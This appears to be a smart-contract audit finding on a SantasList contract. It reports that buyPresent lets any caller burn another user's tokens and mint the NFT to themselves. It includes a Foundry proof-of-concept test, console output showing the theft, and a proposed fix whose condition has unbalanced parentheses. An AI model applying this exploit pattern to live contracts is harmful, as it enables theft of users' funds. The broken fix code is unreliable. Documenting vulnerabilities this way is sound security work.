Summary
Unauthorized user can call the function to burn someone tokens.
Vulnerability Details
buyPresent function take receiver as input, instead of minting reward to them, function burn tokens from there wallet and mint the reward to caller.
This defeat the whole purpose of the given function. It also doesn't check if receiver is has NAUGHTY or NOT_CHECKED_TWICE
POC
In existing test suite, add following function
ffunction testAnybodyCanBurnOtherUserTokensToMintNftForHimeself() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
console2.log("Santa Token balance of user before attack:", santaToken.balanceOf(user));
vm.stopPrank();
vm.startPrank(address(0x123));
console2.log("Attacker NFT balance before attack:", santasList.balanceOf(address(0x123)));
santasList.buyPresent(user);
vm.stopPrank();
console2.log("Santa Token balance of user after attack:", santaToken.balanceOf(user));
console2.log("Attacker NFT balance after attack:", santasList.balanceOf(address(0x123)));
}
Then run following command in your terminal forge test --match-test testAnybodyCanBurnOtherUserTokensToMintNftForHimeself -vv
it will print following results-
[⠢] Compiling...
[⠊] Compiling 1 files with 0.8.22
[⠒] Solc 0.8.22 finished in 1.75s
Compiler run successful!
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testAnybodyCanBurnOtherUserTokensToMintNftForHimeself() (gas: 210173)
Logs:
Santa Token balance of user before attack: 1000000000000000000
Attacker NFT balance before attack: 0
Santa Token balance of user after attack: 0
Attacker NFT balance after attack: 1
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.69ms
Impact
Unathorized Call to this function lead to users fund loss and attacker gaining NFT's for free.
Tools Used
Manual Review
Recommendations
Add a check for user status to confirm if it's NAUGHTY / NOT_CHECKED_TWICE or not. Add an internal function for minting nft to present receiver.
This is the recommendation --
+ error SantaList__NotNaughtyOrUnknownEnough();
function buyPresent(address presentReceiver) external {
+ if(s_theListCheckedOnce[presentReceiver] != Status.NAUGHTY) && s_theListCheckedTwice[presentReceiver] != Status.NAUGHTY
+ || s_theListCheckedOnce[presentReceiver] != Status.NOT_CHECKED_TWICE) && s_theListCheckedTwice[presentReceiver] !=
+ Status.NOT_CHECKED_TWICE){
+ revert SantaList__NotNaughtyOrUnknownEnough();
+ }
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ i_santaToken.transferFrom(msg.sender, i_santa, PURCHASED_PRESENT_COST);
+ _mintAndIncrementTo(presentReceiver);
}
+ function _mintAndIncrementTo(address to) private {
+ _safeMint(to, s_tokenCounter++);
+ }
